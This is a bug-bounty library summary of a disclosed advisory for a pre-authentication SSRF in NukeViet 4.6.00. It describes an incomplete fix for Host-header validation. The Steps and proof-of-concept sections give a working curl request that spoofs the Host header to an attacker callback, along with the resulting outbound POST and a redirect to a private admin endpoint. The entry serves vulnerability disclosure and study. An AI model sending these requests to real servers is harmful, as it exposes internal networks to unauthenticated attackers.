# NukeViet: Pre-authentication SSRF via incomplete X-Forwarded-Host fix

NukeViet 4.6.00 pre-auth SSRF: unvalidated Host header used in cURL server-info request, letting attackers reach arbitrary internal hosts and follow redirects.

- Payout: Research
- Severity: high
- Program: NukeViet
- Found by: prat1kz
- Disclosed: 2026-11-30
- CVE: CVE-2026-94561
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8xch-674f-grqr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8xch-674f-grqr
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:ssrf

**Target:** PHP CMS server-info cache initialization (Server.php/ini.php)
**Root cause:** The prior X-Forwarded-Host fix only validated the forwarded value, while the ordinary Host header is stored separately as NV_SERVER_NAME and used to build a cURL URL in set_ini_file() before any validation occurs.
**Steps:**
1. Send `curl --http1.1 -i http://TARGET/ -H 'Host: FRESH_CALLBACK_HOST' -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' -H 'Connection: close'` with no cookies.
2. NukeViet passes the X-Forwarded-Host allowlist check, then builds a cURL request from the unvalidated Host value.
3. Callback receives `POST /index.php` with body `__serverInfoUpdate=1` and Referer of the legitimate domain.
4. Callback returns `302 Location: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof`; NukeViet follows it.
5. Private service receives `GET /internal/admin/reload?source=ssrf-proof` from the NukeViet server.
**How found:** Recognized that the CVE-2026-55372 fix validated only the X-Forwarded-Host-derived value while Server.php still stored the raw Host header separately, then traced ini.php's set_ini_file() to find the outbound cURL built from that unvalidated value before the late rejection.
**Exploitation:** Unauthenticated attacker sets Host to an attacker-controlled callback while satisfying the X-Forwarded-Host allowlist, causing the server to POST to the callback; the callback redirects to an internal host/port/path, which NukeViet follows, invoking internal endpoints that trust private-network origin. Blind SSRF: no response body returned.
**Insight:** When a patch adds validation on one header (X-Forwarded-Host), check whether the framework keeps a parallel copy of the same concept (Host) that other code paths consume; incomplete fixes often leave the sibling variable unvalidated and reachable pre-auth.

## Proof of concept (copied exactly from the original report)

**curl request with spoofed Host and X-Forwarded-Host**

```
curl --http1.1 -i http://TARGET/ \
  -H 'Host: FRESH_CALLBACK_HOST' \
  -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \
  -H 'Connection: close'
```

**Callback receives SSRF POST request**

```
POST /index.php HTTP/1.1
Host: FRESH_CALLBACK_HOST
Referer: http://LEGITIMATE_DOMAIN
Content-Type: application/x-www-form-urlencoded

__serverInfoUpdate=1
```

**Redirect to private IP followed by NukeViet**

```
HTTP/1.1 302 Found
Location: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof

NukeViet followed the redirect, and the private service received:

GET /internal/admin/reload?source=ssrf-proof HTTP/1.1
Host: PRIVATE_IP:8081
```

